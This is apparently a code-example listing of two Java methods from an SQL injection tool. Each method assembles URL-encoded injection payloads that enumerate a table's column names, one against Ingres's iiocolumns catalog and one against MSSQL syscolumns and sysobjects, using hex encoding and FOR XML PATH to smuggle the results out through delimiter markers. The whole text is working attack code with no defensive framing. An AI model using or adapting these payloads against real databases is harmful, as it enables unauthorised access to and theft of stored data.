コード例 #1
0
 @Override
 public String sqlColumns(Table table) {
   return "select+rr||0x01030307+r+from(select+0x04||trim(t.column_name)||'"
       + QTE_SQL
       + "0"
       + SEPARATOR_SQL
       + "'rr+"
       + "from(select+distinct+column_name+from+iiocolumns+where+table_owner='"
       + table.getParent()
       + "'and+table_name='"
       + table
       + "')t,(select+distinct+column_name+from+iiocolumns+where+table_owner='"
       + table.getParent()
       + "'and+table_name='"
       + table
       + "')t1+"
       + "where+t.column_name>=t1.column_name+"
       + "group+by+1{limit})a";
 }
コード例 #2
0
 @Override
 public String sqlColumns(Table table) {
   try {
     return "SELECT+"
         + "replace(CONVERT(VARCHAR(MAX),CONVERT(VARBINARY(MAX),'0'%2bSTUFF("
         + "("
         + "SELECT"
         + "+replace(sys.fn_varbintohexstr(CAST(','%2b'"
         + SEPARATOR_SQL
         + "'%2BCAST(name+AS+VARCHAR(MAX))%2B'"
         + QTE_SQL
         + "0"
         + SEPARATOR_SQL
         + "'AS+VARBINARY(MAX))),'0x','')"
         + "FROM+"
         + "(select+c.name,ROW_NUMBER()OVER(ORDER+BY(SELECT+1))AS+rnum+FROM+"
         + table.getParent()
         + "..syscolumns+c,"
         + table.getParent()
         + "..sysobjects+t+"
         + "WHERE+"
         + "c.id=t.id+"
         + "AND+t.name='"
         + URLEncoder.encode(table.toString(), "UTF-8")
         + "')x+"
         + "where+1=1+{limit}+FOR+XML+PATH('')"
         + ")"
         + ",1,1,''),2))%2B'"
         + TRAIL_SQL
         + "',',','"
         + TD_SQL
         + "')";
   } catch (UnsupportedEncodingException e) {
     LOGGER.warn("Encoding to UTF-8 failed: " + e, e);
   }
   return null;
 }